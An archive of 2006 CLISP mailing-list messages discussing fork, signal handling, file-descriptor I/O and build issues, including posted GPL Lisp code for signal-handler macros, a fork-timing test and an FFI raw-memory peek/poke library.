> exists is pretty eclectic (why POSIX:SETPGRP but not FORK??).

the interface to FORK is RUN-PROGRAM.
see src/TODO for details on how it should be enhanced.

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----- Sam Steingold <sds@podval.org> wrote:
> > * Dave Roberts <qnir@ilnggn.pbz> [2006-04-27 15:42:56 -0700]:
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> the interface to FORK is RUN-PROGRAM.
> see src/TODO for details on how it should be enhanced.

Thanks, Sam. I looked at RUN-PROGRAM previously, but it really isn't the same as fork, right? It's really fork+exec on a UNIX system. There are times when I need to actually fork, then twiddle with something in the forked copy, then exec another process on top of me. If RUN-PROGRAM can allow me to do this, please tell me how. I don't see that it provides that sort of behavior in the impnotes.html documentation that I'm reading. BTW, this is not unexpected. Windows, for instance, doesn't have anything resembling fork and the most common useage of fork is to exec shortly thereafter. It's just that in the case of a Unix shell, things are a bit more complicated than the common case.

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--- clisp-2.38/unix/INSTALL.~1~	Fri Sep 23 15:34:22 2005
+++ clisp-2.38/unix/INSTALL	Sat Apr 29 09:03:24 2006
@@ -104,7 +104,7 @@
 5. If you wish to build CLISP with add-on modules, edit Makefile and change
    the line defining the MODULES variable.
    The list of modules included with the distribution is available via
-         ./configure --list-modules
+         ./configure --help-modules
 
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Hoehle, Joerg-Cyril wrote:
>> Version of the clisp? libsigsegv with[out] patch?
>> [2]> (SOFTWARE-VERSION)
>> "GNU C 3.4.5 (mingw special)"
>> [4]> (software-type)
>> "gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit 
>> -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 
>> -fexpensive-optimizations -D_WIN32 -DUNICODE -DDYNAMIC_FFI -I. -x none 
>> -lintl libcharset.a libavcall.a libcallback.a 
>> /usr/local/lib/libreadline.a -ltermcap  -luser32 -lws2_32 -lole32 
>> -loleaut32 -luuid /usr/local/lib/libiconv.a -L/usr/local/lib -lsigsegv
>> SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS 
>> SPVW_MIXED TRIVIALMAP_MEMORY
>> libsigsegv 2.2
>> libiconv 1.9
>> libreadline 5.0"
>>     
>
> Sorry for being confusing: cygwin/mingw behave as UNIX, so you probably need CLISP CVS and or libsigsegv patches.  Please report results.
>
>   

WinXP, mingw, libsigsegv 2.3 and your patch - all works!

Great! Thanks.

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I notice that the two bugs that trouble me most (socket-status,
socket-server) are "fixed in the source", but it's not clear to me how
to get a version of this source from which to build.  CVS seems to
have been very flakey for a long time now.  I see a huge tarball which
seems to be about a month old, but it's not clear how to generate
source from it.  Also it's not clear to me as-of-when I should try
to build.  Naturally I'd like to fix the two bugs above with minimal
disruption of all of the other things that work.
 
Any suggestions?

Also, any idea when CVS will recover or when a new version of clisp
will be released? 



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Don Cohen writes:
> 
> I notice that the two bugs that trouble me most (socket-status,
> socket-server) are "fixed in the source", but it's not clear to me how
> to get a version of this source from which to build.  CVS seems to
> have been very flakey for a long time now.  I see a huge tarball which
> seems to be about a month old, but it's not clear how to generate
> source from it.  Also it's not clear to me as-of-when I should try
> to build.  Naturally I'd like to fix the two bugs above with minimal
> disruption of all of the other things that work.
>  
> Any suggestions?
> 
> Also, any idea when CVS will recover or when a new version of clisp
> will be released? 

Perhaps we should discount sourceforge definitively?
IIRC, that's been more than two month I couldn't get anything from
sourceforge CVS.
Time to move to darc?  Grrrr!  New software to learn...

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> * Devon Sean McCullough <Yvfc-Unpxre@Wbiv.Arg> [2006-04-29 12:22:38 -0400]:
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> --- clisp-2.38/unix/INSTALL.~1~	Fri Sep 23 15:34:22 2005
> +++ clisp-2.38/unix/INSTALL	Sat Apr 29 09:03:24 2006
> @@ -104,7 +104,7 @@
>  5. If you wish to build CLISP with add-on modules, edit Makefile and change
>     the line defining the MODULES variable.
>     The list of modules included with the distribution is available via
> -         ./configure --list-modules
> +         ./configure --help-modules

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> * Dave Roberts <qnir@ilnggn.pbz> [2006-04-28 14:52:46 -0700]:
>
> ----- Sam Steingold <sds@podval.org> wrote:
>> > * Dave Roberts <qnir@ilnggn.pbz> [2006-04-27 15:42:56 -0700]:
>> >
>> > Unfortunately, there isn't a complete set. In fact, the set that
>> > exists is pretty eclectic (why POSIX:SETPGRP but not FORK??).
>> 
>> the interface to FORK is RUN-PROGRAM.
>> see src/TODO for details on how it should be enhanced.
>
> I looked at RUN-PROGRAM previously, but it really isn't the same as
> fork, right? It's really fork+exec on a UNIX system. There are times
> when I need to actually fork, then twiddle with something in the
> forked copy, then exec another process on top of me. If RUN-PROGRAM
> can allow me to do this, please tell me how. I don't see that it
> provides that sort of behavior in the impnotes.html documentation that
> I'm reading. BTW, this is not unexpected. Windows, for instance,
> doesn't have anything resembling fork and the most common useage of
> fork is to exec shortly thereafter. It's just that in the case of a
> Unix shell, things are a bit more complicated than the common case.

http://www.cygwin.com/acronyms/#PTC



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----- Sam Steingold <sds@podval.org> wrote:
> > * Dave Roberts <qnir@ilnggn.pbz> [2006-04-28 14:52:46 -0700]:
> >
> > ----- Sam Steingold <sds@podval.org> wrote:
> >> > * Dave Roberts <qnir@ilnggn.pbz> [2006-04-27 15:42:56 -0700]:
> >> >
> >> > Unfortunately, there isn't a complete set. In fact, the set that
> >> > exists is pretty eclectic (why POSIX:SETPGRP but not FORK??).
> >> 
> >> the interface to FORK is RUN-PROGRAM.
> >> see src/TODO for details on how it should be enhanced.
> >
> > I looked at RUN-PROGRAM previously, but it really isn't the same as
> > fork, right? It's really fork+exec on a UNIX system. There are
> times
> > when I need to actually fork, then twiddle with something in the
> > forked copy, then exec another process on top of me. If RUN-PROGRAM
> > can allow me to do this, please tell me how. I don't see that it
> > provides that sort of behavior in the impnotes.html documentation
> that
> > I'm reading. BTW, this is not unexpected. Windows, for instance,
> > doesn't have anything resembling fork and the most common useage of
> > fork is to exec shortly thereafter. It's just that in the case of a
> > Unix shell, things are a bit more complicated than the common case.
> 
> http://www.cygwin.com/acronyms/#PTC

Yup, no problem. I wasn't complaining, just trying to verify that indeed the behavior was as I thought it was.

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Sam sort of responded to the question of fork, but I never got an answer 
to the others. Anybody have any guidance for me?

Thanks,

Dave

Dave Roberts wrote:
> 1. I'll need to be able to deal with signals. I have read the mailing 
> list archives where it's very strongly pointed out not to try to run 
> signals in Lisp as it can confuse the GC. Is there any problem running 
> signals as C routines through FFI?
> 
> 2. Which signals, if any, does CLISP use internally on Linux, perhaps 
> for things like page protection for GC? I'll need to avoid those signals.
> 
> 3. Are there any other gotchas with respect to fork, exec, etc?
> 
> 4. I'll need to be manipulating file descriptors all over the place. 
> What's the best way to do that without conflicting with CLISPs stream 
> handling. I'll want to do raw IO, but may need more control that the 
> EXT:WITH-KEYBOARD function in section 21.2.2. I'll probably need to mess 
> with the tty direction and probably invoke all sorts of termios functions.
> 
> 5. I'll need a select/poll loop that can handle all types of 
> descriptors. It looks like SOCKET:SOCKET-STATUS does what I want (shame 
> it's named something that's so socket-specific if it's really a more 
> general functionality). Are there any gotchas here? On Linux, does it 
> call select or poll (curios in terms of scalability)?


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Yaroslav Kavenchuk wrote:
>WinXP, mingw, libsigsegv 2.3 and your patch - all works!
>Great! Thanks.

Good news, but wasn't your original bug report about MS-windows-2000?
>[1]> (VERSION)
>#<VERSION :MAJOR 5 :MINOR 0 :BUILD 2195 :PLATFORM :NT :SERVICE-PACK=20
>"Service Pack 4" :SERVICE-PACK-MAJOR 4  :SERVICE-PACK-MINOR 0 :SUITES=20
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My MS-Windows-2k box system preferences also say NT5 SP4 build 2195.

So do you still have some MS-w2k machine to test on?
(just to make sure)

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Dave Roberts writes:
> > 1. I'll need to be able to deal with signals. I have read the mailing 
> > list archives where it's very strongly pointed out not to try to run 
> > signals in Lisp as it can confuse the GC. Is there any problem running 
> > signals as C routines through FFI?

AFAIK, you can use almost all the signals from lisp in clisp.

> > 2. Which signals, if any, does CLISP use internally on Linux, perhaps 
> > for things like page protection for GC? I'll need to avoid those signals.

Only a few of them are used by clisp. You can grep clisp sources for
them, but I've not seen anything extraordinary to be wary of.  For
example, see below how I catch the SIGSEGV signal when calling FFI
functions that may raise it.


> > 3. Are there any other gotchas with respect to fork, exec, etc?

Nothing special either, see example below.  There's the usual
buffering on forked file descriptors to take into account, etc.


> > 4. I'll need to be manipulating file descriptors all over the place. 
> > What's the best way to do that without conflicting with CLISPs stream 
> > handling. I'll want to do raw IO, but may need more control that the 
> > EXT:WITH-KEYBOARD function in section 21.2.2. I'll probably need to mess 
> > with the tty direction and probably invoke all sorts of termios functions.
> > 
> > 5. I'll need a select/poll loop that can handle all types of 
> > descriptors. It looks like SOCKET:SOCKET-STATUS does what I want (shame 
> > it's named something that's so socket-specific if it's really a more 
> > general functionality). Are there any gotchas here? On Linux, does it 
> > call select or poll (curios in terms of scalability)?


------------------------------------------------------------------------
;;;;**************************************************************************
;;;;FILE:               clisp--with-timeout.lisp
;;;;LANGUAGE:           Common-Lisp
;;;;SYSTEM:             Common-Lisp
;;;;USER-INTERFACE:     NONE
;;;;DESCRIPTION
;;;;    
;;;;    Testing SIGALRM on clisp on Linux.
;;;;    
;;;;AUTHORS
;;;;    <PJB> Pascal Bourguignon <pjb@informatimago.com>
;;;;MODIFICATIONS
;;;;    2006-05-02 <PJB> Added this header.
;;;;BUGS
;;;;LEGAL
;;;;    GPL
;;;;    
;;;;    Copyright Pascal Bourguignon 2006 - 2006
;;;;    
;;;;    This program is free software; you can redistribute it and/or
;;;;    modify it under the terms of the GNU General Public License
;;;;    as published by the Free Software Foundation; either version
;;;;    2 of the License, or (at your option) any later version.
;;;;    
;;;;    This program is distributed in the hope that it will be
;;;;    useful, but WITHOUT ANY WARRANTY; without even the implied
;;;;    warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
;;;;    PURPOSE.  See the GNU General Public License for more details.
;;;;    
;;;;    You should have received a copy of the GNU General Public
;;;;    License along with this program; if not, write to the Free
;;;;    Software Foundation, Inc., 59 Temple Place, Suite 330,
;;;;    Boston, MA 02111-1307 USA
;;;;**************************************************************************
;;;;    

(defun install-signal-handler (signum handler)
  (let ((oldhan (linux:|set-signal-handler| signum handler))
        (sigset (second (multiple-value-list
                         (linux:|sigaddset| (second (multiple-value-list
                                                     (linux:|sigemptyset|)))
                                signum)))))
    (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| sigset)
    (values signum oldhan sigset)))


(defun restore-signal-handler (signum oldhan sigset)
  (linux:|set-signal-handler| signum oldhan)
  (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| sigset))

  

(defmacro with-signal-handler (signum handler &body body)
  (let ((voldhan (gensym))
        (vsignum (gensym))
        (vsigset (gensym)))
    `(let* ((,vsignum ,signum)
            (,voldhan (linux:|set-signal-handler| ,vsignum ,handler))
            (,vsigset (second (multiple-value-list
                               (linux:|sigaddset| 
                                      (second (multiple-value-list
                                               (linux:|sigemptyset|)))
                                      ,vsignum)))))
       (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| ,vsigset)
       (unwind-protect (progn ,@body)
         (linux:|set-signal-handler| ,vsignum ,voldhan)
         (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| ,vsigset)))))


(defmacro with-sigseg-handler (&body body)
  `(with-signal-handler linux:|SIGSEGV| 
     (lambda (signum) 
       (declare (ignore signum))
       (error "Got Segment Violation Signal while accessing raw memory"))
     ,@body))


(defmacro with-timeout ((seconds . timeout-forms) &body body)
  "
    This macro evaluates the body as a progn body. If the evaluation
    of body does not complete within the specified interval, execution
    throws out of the body and the timeout-forms are evaluated as a
    progn body, returning the result of the last form.)  The
    timeout-forms are not evaluated if the body completes within
    seconds.
    "
  (catch :timeout
    `(with-signal-handler linux:|SIGALRM| 
       (lambda (signum) 
         (declare (ignore signum))
         (throw :timeout (progn ,@timeout-forms)))
       (LINUX:alarm ,seconds)
       ,@body)))

------------------------------------------------------------------------
;;;;**************************************************************************
;;;;FILE:               count-fork.lisp
;;;;LANGUAGE:           Common-Lisp
;;;;SYSTEM:             Common-Lisp
;;;;USER-INTERFACE:     NONE
;;;;DESCRIPTION
;;;;    
;;;;    Testing fork and signals in clisp on Linux.
;;;;    
;;;;AUTHORS
;;;;    <PJB> Pascal Bourguignon <pjb@informatimago.com>
;;;;MODIFICATIONS
;;;;    2006-05-02 <PJB> Added this header.
;;;;BUGS
;;;;LEGAL
;;;;    GPL
;;;;    
;;;;    Copyright Pascal Bourguignon 2006 - 2006
;;;;    
;;;;    This program is free software; you can redistribute it and/or
;;;;    modify it under the terms of the GNU General Public License
;;;;    as published by the Free Software Foundation; either version
;;;;    2 of the License, or (at your option) any later version.
;;;;    
;;;;    This program is distributed in the hope that it will be
;;;;    useful, but WITHOUT ANY WARRANTY; without even the implied
;;;;    warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
;;;;    PURPOSE.  See the GNU General Public License for more details.
;;;;    
;;;;    You should have received a copy of the GNU General Public
;;;;    License along with this program; if not, write to the Free
;;;;    Software Foundation, Inc., 59 Temple Place, Suite 330,
;;;;    Boston, MA 02111-1307 USA
;;;;**************************************************************************

(defparameter *run* t)


(defun install-signal-handler (signum handler)
  (let ((oldhan (linux:|set-signal-handler| signum handler))
        (sigset (second (multiple-value-list
                          (linux:|sigaddset| (second (multiple-value-list
                                                      (linux:|sigemptyset|)))
                                 signum)))))
    (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| sigset)
    (values signum oldhan sigset)))


(defun restore-signal-handler (signum oldhan sigset)
  (linux:|set-signal-handler| signum oldhan)
  (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| sigset))

  
(defmacro with-signal-handler (signum handler &body body)
  (let ((voldhan (gensym))
        (vsignum (gensym))
        (vsigset (gensym)))
    `(let* ((,vsignum ,signum)
            (,voldhan (linux:|set-signal-handler| ,vsignum ,handler))
            (,vsigset (second (multiple-value-list
                               (linux:|sigaddset| 
                                      (second (multiple-value-list
                                               (linux:|sigemptyset|)))
                                      ,vsignum)))))
      (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| ,vsigset)
      (unwind-protect (progn ,@body)
        (linux:|set-signal-handler| ,vsignum ,voldhan)
        (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| ,vsigset)))))


(ffi:def-c-struct itimerval
  (interval-sec  ffi:long)
  (interval-mic  ffi:long)
  (value-sec     ffi:long)
  (value-mic     ffi:long))

(defconstant +itimer-real+    0)
(defconstant +itimer-virtual+ 1)
(defconstant +itimer-prof+    2)

(ffi:def-call-out
 setitimer
 (:name "setitimer")
 (:arguments (which ffi:int :in) (value (ffi:c-ptr itimerval) :in)
  (ovalue (ffi:c-ptr-null itimerval) :in))
 (:return-type ffi:int)
 (:language :stdc)
 (:library "/lib/libc.so.6"))
                   
       
(defun main ()
  (setf *run* t)
  (with-signal-handler linux:|SIGVTALRM| 
    (lambda (signum) (declare (ignore signum)) (setf *run* nil))
    (ffi:with-c-var (i 'itimerval (make-itimerval :interval-sec 0
                                                  :interval-mic 0
                                                  :value-sec 0
                                                  :value-mic 1000))
      (setitimer +itimer-virtual+ i nil))
    (loop with counter = 0
          with failed  = 0
          while *run*
          do (let ((res (linux:fork)))
               (cond ((null res) (incf failed))
                     ((= 0 res) (linux:exit 0))
                     (t (incf counter))))
          finally (format t "forked ~D times (failed ~D times)~%" counter failed))))


------------------------------------------------------------------------

;;****************************************************************************
;;FILE:               raw-memory.lisp
;;LANGUAGE:           Common-Lisp
;;SYSTEM:             Common-Lisp
;;USER-INTERFACE:     NONE
;;DESCRIPTION
;;    
;;    Peek and Poke.
;;    
;;AUTHORS
;;    <PJB> Pascal J. Bourguignon <pjb@informatimago.com>
;;MODIFICATIONS
;;    2004-11-30 <PJB> Created.
;;BUGS
;;LEGAL
;;    GPL
;;    
;;    Copyright Pascal J. Bourguignon 2004 - 2004
;;    
;;    This program is free software; you can redistribute it and/or
;;    modify it under the terms of the GNU General Public License
;;    as published by the Free Software Foundation; either version
;;    2 of the License, or (at your option) any later version.
;;    
;;    This program is distributed in the hope that it will be
;;    useful, but WITHOUT ANY WARRANTY; without even the implied
;;    warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
;;    PURPOSE.  See the GNU General Public License for more details.
;;    
;;    You should have received a copy of the GNU General Public
;;    License along with this program; if not, write to the Free
;;    Software Foundation, Inc., 59 Temple Place, Suite 330,
;;    Boston, MA 02111-1307 USA
;;****************************************************************************


;; (in-package "COMMON-LISP-USER")
;; (eval-when (:compile-toplevel :load-toplevel :execute)
;;   (unless (find-package "LINUX")
;;     (warn "Package LINUX is not available.  Signal handling is disabled.")
;;     (defpackage "LINUX"
;;       (:use "COMMON-LISP")
;;       (:export "set-signal-handler" "sigaddset" "sigemptyset"
;;        "sigprocmask-set-n-save" "SIG_UNBLOCK" "SIGSEGV"))
;;     (in-package "LINUX")
;;     (defmacro null-op (name)
;;       `(defmacro ,name (&rest args) (declare (ignore args)) nil))
;;     (eval-when (:compile-toplevel :load-toplevel :execute)
;;       (null-op |set-signal-handler|)
;;       (null-op |sigaddset|)
;;       (null-op |sigemptyset|)
;;       (null-op |sigprocmask-set-n-save|)
;;       (defparameter |SIG_UNBLOCK| 0)
;;       (defparameter |SIGSEGV|     0))))
;; 
;; (in-package "COMMON-LISP-USER")


(DEFINE-PACKAGE "COM.INFORMATIMAGO.CLISP.RAW-MEMORY"
  (:NICKNAMES "RAW-MEMORY")
  (:DOCUMENTATION "Peek and Poke.")
  (:FROM "COMMON-LISP" :IMPORT :ALL)
  (:use  "FFI")
  (:use  "LINUX")
  (:EXPORT 
   "PEEK" "POKE" "DUMP"
   "WITH-SIGSEG-HANDLER"
   ;; The following are low-level function, not protected by signal handler.
   ;; Install you own!
   "PEEK-UINT8"  "PEEK-SINT8"  "POKE-UINT8"  "POKE-SINT8"
   "PEEK-UINT16" "PEEK-SINT16" "POKE-UINT16" "POKE-SINT16"
   "PEEK-UINT32" "PEEK-SINT32" "POKE-UINT32" "POKE-SINT32"
   "PEEK-UINT64" "PEEK-SINT64" "POKE-UINT64" "POKE-SINT64"
   ));;COM.INFORMATIMAGO.CLISP.RAW-MEMORY


(eval-when (:compile-toplevel :load-toplevel :execute)
  (defparameter +library+
    (loop for path in '("libraw-memory.so"
                        "packages:com;informatimago;clisp;libraw-memory.so")
          until (probe-file path)
          finally (return (namestring (truename path))))))


(defun install-signal-handler (signum handler)
  (let ((oldhan (linux:|set-signal-handler| signum handler))
        (sigset (second (multiple-value-list
                          (linux:|sigaddset| (second (multiple-value-list
                                                      (linux:|sigemptyset|)))
                                 signum)))))
    (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| sigset)
    (values signum oldhan sigset)))


(defun restore-signal-handler (signum oldhan sigset)
  (linux:|set-signal-handler| signum oldhan)
  (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| sigset))

  

(defmacro with-signal-handler (signum handler &body body)
  (let ((voldhan (gensym))
        (vsignum (gensym))
        (vsigset (gensym)))
    `(let* ((,vsignum ,signum)
            (,voldhan (linux:|set-signal-handler| ,vsignum ,handler))
            (,vsigset (second (multiple-value-list
                               (linux:|sigaddset| 
                                      (second (multiple-value-list
                                               (linux:|sigemptyset|)))
                                      ,vsignum)))))
      (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| ,vsigset)
      (unwind-protect (progn ,@body)
        (linux:|set-signal-handler| ,vsignum ,voldhan)
        (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| ,vsigset)))))


(defmacro with-sigseg-handler (&body body)
  `(with-signal-handler linux:|SIGSEGV| 
    (lambda (signum) 
      (declare (ignore signum))
      (error "Got Segment Violation Signal while accessing raw memory"))
    ,@body))


;; Scalar:

(defmacro generate-peek-and-poke ()
  (loop with code = '()
        for size in '(8 16 32)  ;; peek and poke of 64-bit don't work.
        for c-peek-name = (format nil "peek~D" size)
        for c-poke-name = (format nil "poke~D" size) do
        (loop for type in '(uint sint) 
              for l-peek-name = (intern (with-standard-io-syntax
                                          (format nil"PEEK-~A~D" type size))
                                        "COM.INFORMATIMAGO.CLISP.RAW-MEMORY")
              for l-poke-name = (intern (with-standard-io-syntax
                                          (format nil"POKE-~A~D" type size))
                                        "COM.INFORMATIMAGO.CLISP.RAW-MEMORY")
              for l-type      = (intern (with-standard-io-syntax
                                          (format nil"~A~D" type size))
                                        "FFI")
              do 
              (push `(ffi:def-call-out ,l-peek-name
                      (:name ,c-peek-name)
                      (:arguments (address ffi:ulong))
                      (:return-type ,l-type)
                      (:library  #.+library+) (:language :stdc)) code)
              (push `(ffi:def-call-out ,l-poke-name
                      (:name ,c-poke-name)
                      (:arguments (address ffi:ulong) (value ,l-type))
                      (:return-type nil)
                      (:library  #.+library+) (:language :stdc)) code))
        finally (return `(progn ,@ code))))



(eval-when (:load-toplevel :execute)
  (generate-peek-and-poke))


(defun peek-uint64 (address)
  (dpb (raw-memory:peek-uint32 (+ 4 address))
       (byte 32 32)
       (raw-memory:peek-uint32 address)))

(defun peek-sint64 (address)
  (dpb (raw-memory:peek-uint32 (+ 4 address))
       (byte 32 32)
       (raw-memory:peek-uint32 address)))

(defun poke-uint64 (address object)
  (poke-uint32      address  (ldb (byte 32  0) object))
  (poke-uint32 (+ 4 address) (ldb (byte 32 32) object)))

(defun poke-sint64 (address object)
  (poke-uint32      address  (ldb (byte 32  0) object))
  (poke-uint32 (+ 4 address) (ldb (byte 32 32) object)))



(defun get-function (type peek-or-poke)
  (case peek-or-poke
    ((:peek)
     (when (atom type) (error "Can't peek this type ~S" type))
     (case (first type)
       ((unsigned-byte)
        (case (second type)
          ((8)  (values (function peek-uint8 ) 1))
          ((16) (values (function peek-uint16) 2))
          ((32) (values (function peek-uint32) 4))
          ((64) (values (function peek-uint64) 8))
          (otherwise (error "Can't peek this type ~S" type))))
       ((signed-byte)
        (case (second type)
          ((8)  (values (function peek-sint8 ) 1))
          ((16) (values (function peek-sint16) 2))
          ((32) (values (function peek-sint32) 4))
          ((64) (values (function peek-sint64) 8))
          (otherwise (error "Can't peek this type ~S" type))))
       (otherwise (error "Can't peek this type ~S" type))))
    ((:poke)
     (when (atom type) (error "Can't poke this type ~S" type))
     (case (first type)
       ((unsigned-byte)
        (case (second type)
          ((8)  (values (function poke-uint8 ) 1))
          ((16) (values (function poke-uint16) 2))
          ((32) (values (function poke-uint32) 4))
          ((64) (values (function poke-uint64) 8))
          (otherwise (error "Can't poke this type ~S" type))))
       ((signed-byte)
        (case (second type)
          ((8)  (values (function poke-sint8 ) 1))
          ((16) (values (function poke-sint16) 2))
          ((32) (values (function poke-sint32) 4))
          ((64) (values (function poke-sint64) 8))
          (otherwise (error "Can't poke this type ~S" type))))
       (otherwise (error "Can't poke this type ~S" type))))
    (otherwise
     (error "PEEK-OR-POKE must be either :PEEK or :POKE, not ~S" 
            peek-or-poke))))


;; type: simtype | comtype.
;; simtype:
;;     (unsigned-byte  8)
;;     (signed-byte    8)
;;     (unsigned-byte 16)
;;     (signed-byte   16)
;;     (unsigned-byte 32)
;;     (signed-byte   32)
;;     (unsigned-byte 64)
;;     (signed-byte   64)
;;     single-float ; not implemented yet.
;;     double-float ; not implemented yet.
;; comtype:
;;     (array  simtype size)
;;     (vector simtype size)


(defun peek (address type)
  (with-signal-handler linux:|SIGSEGV| 
    (lambda (signum) 
      (declare (ignore signum))
      (error "Got Segment Violation Signal while peeking ~8,'0X" address))
    (if (and (listp type)
             (or (eq (first type) 'array)  (eq (first type) 'vector)))
        (multiple-value-bind (peek incr) (get-function (second type) :peek)
          (do ((data (make-array (list (third type))
                                 :element-type (second type)
                                 :initial-element 0))
               (address address (+ address incr))
               (i 0 (1+ i)))
              ((>= i (third type)) data)
            (setf (aref data i) (funcall peek address))))
        (funcall (get-function type :peek) address))));;peek


(defun poke (address type value)
  (with-signal-handler linux:|SIGSEGV| 
    (lambda (signum) 
      (declare (ignore signum))
      (error "Got Segment Violation Signal while poking ~8,'0X" address))
    (if (and (listp type)
             (or (eq (first type) 'array)  (eq (first type) 'vector)))
        (multiple-value-bind (poke incr) (get-function (second type) :poke)
          (do ((address address (+ address incr))
               (i 0 (1+ i)))
              ((>= i (third type)) (values))
            (funcall poke address (aref value i))))
        (funcall (get-function type :poke) address value))));;poke


(defun dump (address type &optional (stream t) (margin ""))
  (with-signal-handler linux:|SIGSEGV| 
    (lambda (signum) 
      (declare (ignore signum))
      (error "Got Segment Violation Signal while peeking ~8,'0X" address))
    (if (and (listp type)
             (or (eq (first type) 'array)  (eq (first type) 'vector)))
      (multiple-value-bind (peek incr) (get-function (second type) :peek)
        (do ((address address (+ address incr))
             (i 0 (1+ i)))
            ((>= i (third type)) (format stream "~&") (values))
          (when (zerop (mod i (/ 16 incr)))
            (format stream "~&~A~8,'0X: " margin (+ address i)))
          (format stream "~V,'0X " (* 2 incr) 
                  (funcall peek address))))
      (multiple-value-bind (peek incr) (get-function type :peek)
        (format stream "~&~A~8,'0X: ~V,'0X ~&"
                margin address (* 2 incr)
                (funcall peek address))))))


;; Local Variables:
;; eval: (cl-indent 'with-signal-handler 2)
;; End:

;;;; raw-memory.lisp                  --                     --          ;;;;


You can fetch the rest of my sources with:

cvs -z3 -d :pserver:anonymous@cvs.informatimago.com:/usr/local/cvs/public/chrooted-cvs/cvs co common/makedir
cvs -z3 -d :pserver:anonymous@cvs.informatimago.com:/usr/local/cvs/public/chrooted-cvs/cvs co common/common-lisp
cvs -z3 -d :pserver:anonymous@cvs.informatimago.com:/usr/local/cvs/public/chrooted-cvs/cvs co common/clisp
cvs -z3 -d :pserver:anonymous@cvs.informatimago.com:/usr/local/cvs/public/chrooted-cvs/cvs co common/sbcl

(The password for anonymous cvs user is empty). In addition, you may want to have a look at my dot-files:

cvs -z3 -d :pserver:anonymous@cvs.informatimago.com:/usr/local/cvs/public/chrooted-cvs/cvs co home
ls -a home


-- 
__Pascal Bourguignon__                     http://www.informatimago.com/

"By filing this bug report you have challenged the honor of my
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Hoehle, Joerg-Cyril wrote:
> Good news, but wasn't your original bug report about MS-windows-2000?
>   
>> [1]> (VERSION)
>> #<VERSION :MAJOR 5 :MINOR 0 :BUILD 2195 :PLATFORM :NT :SERVICE-PACK 
>> "Service Pack 4" :SERVICE-PACK-MAJOR 4  :SERVICE-PACK-MINOR 0 :SUITES 
>> NIL :PRODUCT-TYPE :WORKSTATION>
>>     
> My MS-Windows-2k box system preferences also say NT5 SP4 build 2195.
>
> So do you still have some MS-w2k machine to test on?
> (just to make sure)
>
>   

Tomorrow.

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> 5. I'll need a select/poll loop that can handle all types of

Isn't select/poll exclusive to Linux?


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Not really. It's widely used on all Unix-like systems and even some non-Unix systems.

----- Henry Lenzi <henry.lenzi@gmail.com> wrote:
> > 5. I'll need a select/poll loop that can handle all types of
> 
> Isn't select/poll exclusive to Linux?



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Thanks, Pascal. I noticed you used some functions from the LINUX 
package. Is this a standard CLISP package or something of your own? If 
standard CLISP, is it documented, or should I go grok the sources?

-- Dave

Pascal Bourguignon wrote:
> Dave Roberts writes:
>>> 1. I'll need to be able to deal with signals. I have read the mailing 
>>> list archives where it's very strongly pointed out not to try to run 
>>> signals in Lisp as it can confuse the GC. Is there any problem running 
>>> signals as C routines through FFI?
> 
> AFAIK, you can use almost all the signals from lisp in clisp.
> 
>>> 2. Which signals, if any, does CLISP use internally on Linux, perhaps 
>>> for things like page protection for GC? I'll need to avoid those signals.
> 
> Only a few of them are used by clisp. You can grep clisp sources for
> them, but I've not seen anything extraordinary to be wary of.  For
> example, see below how I catch the SIGSEGV signal when calling FFI
> functions that may raise it.
> 
> 
>>> 3. Are there any other gotchas with respect to fork, exec, etc?
> 
> Nothing special either, see example below.  There's the usual
> buffering on forked file descriptors to take into account, etc.
> 
> 
>>> 4. I'll need to be manipulating file descriptors all over the place. 
>>> What's the best way to do that without conflicting with CLISPs stream 
>>> handling. I'll want to do raw IO, but may need more control that the 
>>> EXT:WITH-KEYBOARD function in section 21.2.2. I'll probably need to mess 
>>> with the tty direction and probably invoke all sorts of termios functions.
>>>
>>> 5. I'll need a select/poll loop that can handle all types of 
>>> descriptors. It looks like SOCKET:SOCKET-STATUS does what I want (shame 
>>> it's named something that's so socket-specific if it's really a more 
>>> general functionality). Are there any gotchas here? On Linux, does it 
>>> call select or poll (curios in terms of scalability)?
> 
> 
> ------------------------------------------------------------------------
> ;;;;**************************************************************************
> ;;;;FILE:               clisp--with-timeout.lisp
> ;;;;LANGUAGE:           Common-Lisp
> ;;;;SYSTEM:             Common-Lisp
> ;;;;USER-INTERFACE:     NONE
> ;;;;DESCRIPTION
> ;;;;    
> ;;;;    Testing SIGALRM on clisp on Linux.
> ;;;;    
> ;;;;AUTHORS
> ;;;;    <PJB> Pascal Bourguignon <pjb@informatimago.com>
> ;;;;MODIFICATIONS
> ;;;;    2006-05-02 <PJB> Added this header.
> ;;;;BUGS
> ;;;;LEGAL
> ;;;;    GPL
> ;;;;    
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> ;;;;    
> ;;;;    This program is free software; you can redistribute it and/or
> ;;;;    modify it under the terms of the GNU General Public License
> ;;;;    as published by the Free Software Foundation; either version
> ;;;;    2 of the License, or (at your option) any later version.
> ;;;;    
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> ;;;;    
> 
> (defun install-signal-handler (signum handler)
>   (let ((oldhan (linux:|set-signal-handler| signum handler))
>         (sigset (second (multiple-value-list
>                          (linux:|sigaddset| (second (multiple-value-list
>                                                      (linux:|sigemptyset|)))
>                                 signum)))))
>     (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| sigset)
>     (values signum oldhan sigset)))
> 
> 
> (defun restore-signal-handler (signum oldhan sigset)
>   (linux:|set-signal-handler| signum oldhan)
>   (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| sigset))
> 
>   
> 
> (defmacro with-signal-handler (signum handler &body body)
>   (let ((voldhan (gensym))
